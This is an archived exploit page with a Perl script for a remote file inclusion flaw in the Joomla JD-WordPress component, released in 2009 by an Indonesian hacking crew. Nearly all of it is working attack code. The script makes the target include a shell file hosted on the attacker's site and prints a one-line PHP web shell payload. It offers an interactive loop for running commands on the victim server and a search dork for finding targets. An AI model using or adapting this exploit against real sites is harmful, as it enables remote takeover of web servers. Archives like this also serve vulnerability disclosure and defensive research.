Home / os / win10

joomlajdwp-rfi.txt

Posted on 20 October 2009

#!/usr/bin/perl

#####
# [+] Author	: Don Tukulesto (root@indonesiancoder.com)
# [+] Date 	: October 20, 2009
# [+] Homepage	: http://www.indonesiancoder.com
# [+] Vendor 	: www.joomladeveloping.org
# [+] version 	: 2.0 RC2
# [+] Method	: Remote File Inclusion
# [+] Dork 	: "Kill-9"+"IndonesianCoder"
# [+] Location 	: INDONESIA
# [~] Notes	: Jika kami bersama, Nyalakan tanda bahaya. Jika kami berpesta, Hening akan terpecah.
# Aku dia dan mereka, Memang gila memang beda. Tak perlu berpura pura, Memang begini adanya. ( SupermanIsDead ft. Shaggy Dog )
# to M3NW5	: Kembalilah ke jalan mu nak, jangan berpaling dari "Nya"
# to kaMtiEz	: thx yah !!!! ± 15 Jam dapet hasil jg :"> ( tunggulah aku di kotamu )
# to MALINGSIAL	: TRULLY THIEF IN ASIA ! N.A.T.O BIATCH !
# [~] How To	:
# perl tux.pl <target> <weapon url> cmd
# perl tux.pl http://127.0.0.1/path/ http://www.indonesiancoder.org/shell.txt cmd
# Weapon example: <?php system($_GET['cmd']); ?>
#####
use HTTP::Request;
use LWP::UserAgent;
$Tux = $ARGV[0];
$Pathloader = $ARGV[1];
$Contrex = $ARGV[2];
if($Tux!~/http:/// || $Pathloader!~/http:/// || !$Contrex){usage()}
head();
sub head()
{
print "[o]============================================================================[o]
";
print " |		Joomla JD-WordPress Vulnerability File Inclusion		|
";
print "[o]============================================================================[o]
";
}
while()
{
print "[w00t] $";
while(<STDIN>)
{
$kaMtiEz=$_;
chomp($kaMtiEz);
$arianom = LWP::UserAgent->new() or die;
$tiw0L = HTTP::Request->new(GET =>$Tux.'components/com_jd-wp/wp-feed.php?mosConfig_absolute_path='.$Pathloader.'?&'.$Contrex.'='.$kaMtiEz)or die "
Could Not connect
";
$abah_benu = $arianom->request($tiw0L);
$tukulesto = $abah_benu->content;
$tukulesto =~ tr/[
]/[Í]/;
if (!$kaMtiEz) {print "
Please Enter a Command

"; $tukulesto ="";}
elsif ($tukulesto =~/failed to open stream: HTTP request denied!/ || $tukulesto =~/: Cannot execute a blank command in /)
{print "
Cann't Connect to cmd Host or Invalid Command
";exit}
elsif ($tukulesto =~/^<br./>.<b>Fatal.error/) {print "
Invalid Command or No Return

"}
if($tukulesto =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[Í]/[
]/;
print "
$finreturn

";
last;
}
else {print "[w00t] $";}}}last;
sub usage()
{
head();
print " | Usage:  perl tux.pl <target> <weapon url> <cmd>                              |
";
print " | <Site> - Full path to execute ex: http://127.0.0.1/path/                     |
";
print " | <Weapon url> - Path to Shell e.g http://www.indonesiancoder.org/shell.txt    |
";
print " | <cmd> - Command variable used in php shell                                   |
";
print "[o]============================================================================[o]
";
print " | 	IndonesianCoder Team | KILL-9 CREW | ServerIsDown | AntiSecurity.org    |
";
print " |   kaMtiEz, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, Gh4mb4S      |
";
print " |  Jack-, Contrex, yadoy666, Ronz, noname, s4va, gonzhack, cyb3r_tron, saint   |
";
print " |    Awan Bejat, Plaque, rey_cute, BennyCooL, SurabayaHackerLink Team and YOU! |
";
print "[o]============================================================================[o]
";
print " |	http://www.IndonesianCoder.org	   |	http://www.AntiSecRadio.fm 	|
";
print "[o]============================================================================[o]
";
exit();
}

 

TOP